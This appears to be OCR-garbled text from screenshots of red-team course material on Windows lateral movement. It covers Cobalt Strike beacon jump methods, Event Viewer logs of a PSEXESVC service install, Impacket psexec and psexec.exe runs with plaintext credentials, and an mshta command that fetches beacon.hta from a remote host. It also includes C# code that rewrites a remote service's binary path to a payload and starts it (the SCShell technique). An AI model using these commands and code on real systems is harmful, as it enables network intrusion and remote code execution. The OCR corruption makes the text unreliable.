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beacon> jump

Beacon Remote Exploits

Exploit Description

psexec Use a service to run a Service EXE artifact
psexectd Use a service to run a Service EXE artifact
psexec_psh Use a service to run a PowerShell one-Lliner
winm Run a PowerShell script via WinRM
winrmé4 Run a PowerShell script via WinRM

beacon> remote-exec

Beacon Remote Execute Methods

Methods Description

psexec Remote execute wvia Service Control Manager
winrm Remote execute via WinRM (PowerShell)
Wi Remote execute via WMI
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Event Viewer

File Action View Help

= 2F B E

@ Event Viewer (Local) System MNumbel
v 3, Custom Views
5 [T ServerRoles Level Date and Time Source EventID Task Category
? Administrative Events @Information 6/2/2023 9:18:17 AM Service Control Man... 7036 Mone
v :;‘_. Windows Logs 1 Information ] 3 9:18:17 AM Service Centrol Man... 7045 Mene
El Application @Information 6/2/2023 9:09:10 AM Service Control Man... 7036 Mone
El Security @Information 6/2/2023 9:08:39 AM Service Control Man... 7036 Mone
] Setup ®Inf0rmation 6/2/2023 8:40:43 AM Service Control Man... 7036 Mone
f] System ®Inf0rmation 6/2/2023 8:40:42 AM Service Control Man... 7036 Mone
[ Forwarded Events (i) Information 6/2/2023 8:39:26 AM Service Control Man... 7036 Mone
v [ Applications and Services Lo/ | () nformation £/2/2023 3:39:09 AM Service Contral Man... 7036 Mone
=] Hardware Events (i) Information 6/2/2023 8:38:39 AM Service Control Man... 7036 Mone
& 'Ete';‘e" Bxplorer - (@ Information 6/2/2023 2:34:09 AM Service Control Man... 7036 MNone
% M"'_-"’ a’zgeme”t EMEE (@ Information 6/2/2023 B:32:07 AM Service Control Man... 7036 Mone
’ = O'C"’;;H (i) Information 6/2/2023 8:29:40 AM Service Control Man... 7036 Mone
» en
F ®Im‘ormation 6/2/2023 8:29:29 AM WindowsUpdateClient 19 Windows Update Ag...
] Windows PowerShell i ) i )
-2 Subscriptions ®Informat|on 6/2/2023 8:29:12 AM WindowsUpdateClient 43 Windows Update Ag...
e ®Im‘ormation 6/2/2023 8:29:12 AM WindowsUpdateClient 44 Windows Update Ag...
®Im‘ormation 6/2/2023 8:29:09 AM Service Control Man... 7036 Mone
®Im‘ormation 6/2/2023 8:29:07 AM Service Control Man... 7036 Mone
()Infarmatinn 6/2/2073 8:28:58 AM Service Control Man 7036 Mone
Event 7045, Service Contrel Manager X
General Details
~
A service was installed in the system. A
Service Name: PSEXESVC s
Log Mame: System
Source: Service Contrel Manager Logged: 6/2/2023 9:18:17 AM
Event ID: 7045 Task Category: Mone
Level: Information Keywords: Classic
User: SYSTEM Computer: web02.white-bird.lecal v
< >
Event 7036, Service Control Manager
General  Details
The PSEXESVC service entered the running state,
Lag Mame: Systemn
Source: Service Control Manager Logged: 6/2/2023 %1817 AM
Event D 7036 Task Category: Mone
Level: Information Keywords: Classic
User M/A Computen web02.white-bird.local
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[*] Listing:

Size Type Last Modified

dir 0 2 ecycle.Bin

dir i nfig. Msi

dir i Documents and Settings
dir i

dir

dir

dir

512mb

on srvel
o child beacon: 172.16.1.14
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Impacket

Impacket [T] psexec.py TN NTLMI T Keytab [T1111T]

~/Desktop
impacket/examples/psexec.py prod.raven-med.local/servermgr:’'Sum
config file found: /e ; i
preloading fusr/lib/x86_64-1linux-gnu/libpro:
DLL init: proxychains-ng
DLL init: proxychains-ng

hains] Dynamic chain
Reguesting share
Found wr

ami
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ra shell commands

whoami
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C:\Windows\Tasks>»psexec.exe \\172.16.1.13 -u fileBl\administrator -p Passwl@rdfiledl -s cmd
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BOF scshell

BOF scshell (https://github.com/Mr-Un1k0d3r/SCShell) [(ITT] OPSEC [IT1T] PsExe MTBRIC SHENTIIT] St
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C: \windows\system32\cmd. exe /c C: \windows\system32\mshta. exe http: //<[IIIIPk/beacon. hta

scshell T
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using System. Collections. Generic
using System. Ling;

using System. Text;

using System. Threading. Tasks;

using System. Runtime. InteropServices;

namespace movement

{
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class Program
{
[DLlImport("advapi32.dll", EntryPoint = "OpenSCManagerW', ExactSpelling = true,
CharSet = CharSet. Unicode, SetlLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName,
uint dwAccess);
[DLlImport("advapi32.dll", SetlLastError = true, CharSet = CharSet. Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string 1lpServiceName, uint
dwDesiredAccess);
[DUlImport("advapi32. dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType. Bool) ]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwkrrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string
lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string
lpDisplayName);
[DIlImport("advapi32", SetLastError = true)]
[ return: MarshalAs(UnmanagedType. Bool) ]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[]
lpServiceArgVectors);
static void Main(string[] args)
{
String target = args[1];
IntPtr SCMHandle = OpenSCManager( target, null, OxFOO03F);
string ServiceName = args| 2];
IntPtr schService = OpenService(SCMHandle, ServiceName, OxFOL1FF);
string payload = args[3];
bool bResult = ChangeServiceConfigA(schService, Oxffffffff, 3, 0, payload, null,
null, null, null, null, null);

bResult = StartService(schService, 0, null);
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